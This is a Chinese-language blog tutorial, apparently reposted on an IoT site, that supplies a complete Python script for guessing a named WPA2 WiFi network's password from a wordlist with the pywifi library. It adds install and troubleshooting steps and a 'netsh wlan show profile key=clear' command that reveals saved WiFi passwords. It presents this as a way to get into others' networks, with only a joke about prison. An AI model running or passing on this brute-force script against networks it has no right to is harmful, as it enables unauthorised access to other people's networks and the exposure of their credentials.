使用python破解WiFi密码:

提示:用python破解WiFi密码完全是看运气(抛开密码本):
例如:若是真的想破解一个有意不让他人连接的wifi密码,python铁定不行,最靠谱的还是linux那边的kali(kali学的好,牢饭吃到饱)


第一步:打开python敲代码

不会敲代码的萌新们,直接拿下面的代码(网上都有)
python代码千遍一律,无非是用户界面有些不同:
注:无线网名称自己输入,还有密码本的路径path自己改一下

# coding:utf-8
import pywifi
from pywifi import const
import time
def wifiConnect(pwd):
    wifi = pywifi.PyWiFi()  # 抓取网卡接口
    ifaces = wifi.interfaces()[0] # 获取第一个无线网卡
    ifaces.disconnect()  # 断开所有连接
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()        # 创建WiFi连接文件
        profile.ssid = "隐藏的网络"   # 要连接WiFi的名称
        profile.auth = const.AUTH_ALG_OPEN        # 网卡的开放状态
        profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法,一般wifi加密算法为wps
        profile.cipher = const.CIPHER_TYPE_CCMP        # 加密单元
        profile.key = pwd # 调用密码
        ifaces.remove_all_network_profiles()# 删除所有连接过的wifi文件
        tep_profile = ifaces.add_network_profile(profile)        # 设定新的连接文件
        ifaces.connect(tep_profile)
        time.sleep(1) # wifi连接时间
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已连接")

def readPassword():    # 读取密码本
    print("开始破解:")
    # 密码本路径
    path = "E:/2.txt"
    # 打开文件
    file = open(path, "r")
    while True:
        try:
            # 一行一行读取
            pad = file.readline()
            bool = wifiConnect(pad)

            if bool:
                print("密码已破解: ", pad)
                print("WiFi已自动连接!!!")
                break
            else:
                # 跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ", pad)
        except:
            continue


readPassword()


代码运行错误分析:

出问题的同志,50%的同学是因为没有导入pywifi库
80%是导入了pywifi库导入了却没有导入contypes库
剩下一部分是忘记了改代码中密码本的路径或者wifi名称(自己想要破解的wifi名称)

pywifi,contypes库的导入方法(pip使用):

有的同学用的pycharm可以直接导入pywifi但是不会直接导入contypes库
下面教大家使用pip命令窗口安装这些库(请先让自己的电脑联网)
1.以管理员形式打开命令行窗口


2.在c盘找到自己python的地址打开其Scrips包
我的在这里
C:\Users…\AppData\Local\Programs\Python\Python37-32\Scripts
然后进入命令行 cd C:\Users…\AppData\Local\Programs\Python\Python37-32\Scripts
最后输入pip install pywifi (我的已经安装完成了所以是这个样子)

同理安装contypes

让代码跑起来:

有副作用!!!!!!!!python代码跑wifi密码都有副作用!!!
他会忘掉我们电脑连接过的wifi的所有密码!!!!我就是写完才发现!!!!血亏啊

弥补缺陷:

命令窗口:
1.输入命令:netsh wlan show profiles,回车
2.命令行输入:netsh wlan show profile name=“列表里面随便一个名称” key=clear,回车
3.找到“安全设置”里面的“关键内容”就是 WIFI密码了!

来源:枯树落叶秋风

物联沃分享整理
物联沃-IOTWORD物联网 » python破解wifi密码

发表评论